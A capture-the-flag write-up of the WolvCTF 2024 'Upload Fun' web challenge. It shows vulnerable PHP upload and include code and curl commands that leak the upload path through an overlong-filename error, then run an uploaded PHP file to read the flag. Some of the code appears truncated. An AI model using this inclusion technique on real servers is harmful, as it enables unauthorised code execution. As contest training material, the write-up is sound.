---
title: 'WolvCTF 2024 - Web: Upload Fun'
date: 2024-03-20
tags: ['ctf', 'ctf-web', 'php']
---
## Task
> I made a website where you can upload files.
>
> What could go wrong?
>
> Note: Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway).
>
> [https://upload-fun-okntin33tq-ul.a.run.app](https://upload-fun-okntin33tq-ul.a.run.app)
- `Author: samxml`
- `Points: 418`
- `Solves: 35 / 622 (5.627%)`
## Writeup
The provided webpage displays the following PHP code:
```php
1000) {
echo "file too large";
return;
}
if (str_contains($_FILES["f"]["name"], "..")) {
echo "no .. in filename please";
return;
}
if (empty($_FILES["f"])){
echo "empty file";
return;
}
$ip = $_SERVER['REMOTE_ADDR'];
$flag = file_get_contents("/flag.txt");
$hash = hash('sha256', $flag . $ip);
if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {
echo "upload success";
} else {
echo "upload error";
}
} else {
if (isset($_GET["f"])) {
$path = "./uploads/" . $_GET["f"];
if (str_contains($path, "..")) {
echo "no .. in f please";
return;
}
include $path;
}
highlight_file("index.php");
}
?>
```
From this we can determine the following:
- Files that we upload are saved to `./uploads/{hash of the flag and our ip}_{file name}`
- We cannot perform a path traversal attack since `..` is checked for when uploading/retrieving a file
- We can include arbitrary PHP code by sending a GET request with the `f` parameter set to a file we uploaded, which we can use to get the flag
If we can determine where the server saves our uploaded files, we can get the flag. This however, is based on the flag, which we do not know.
After a bit of experimentation, we can notice that if an error occurs, the error message is displayed to us. For example, if we try to include `file` we get the following message:
```
Warning: include(./uploads/file): Failed to open stream: No such file or directory in /var/www/html/index.php on line 34
Warning: include(): Failed opening './uploads/file' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 34
```
Therefore, it might be possible to leak the flag or the hash by causing an error. The only lines that handle these are the following:
- `$hash = hash('sha256', $flag . $ip);`
- `if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {`
It is unlikely that we can cause an error when the hash is calculated, so let's focus on the second line, which will move our file from its temporary location to `./uploads/{hash}_{name}`.
One way we can cause an error with this line is if the filename exceeds the length limit (typically 255 bytes). Let's try exploiting this:
```console
$ echo "hi" > a.txt
$ curl -F "f=@a.txt;filename=$(python -c 'print("a" * 256)')" https://upload-fun-okntin33tq-ul.a.run.app
Warning: move_uploaded_file(./uploads/331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa): Failed to open stream: File name too long in /var/www/html/index.php on line 22
Warning: move_uploaded_file(): Unable to move "/tmp/phptdqk8n" to "./uploads/331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" in /var/www/html/index.php on line 22
upload error
```
Now that we know where our files will be saved, we can run the following commands to get the flag:
```console
$ HASH="331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d"
$ echo "" > exploit.php
$ curl -F "f=@exploit.php" https://upload-fun-okntin33tq-ul.a.run.app
upload success
$ curl https://upload-fun-okntin33tq-ul.a.run.app?f=${HASH}_exploit.php
wctf{h0w_d1d_y0u_gu355_th3_f1l3n4me?_7523015134}
...
```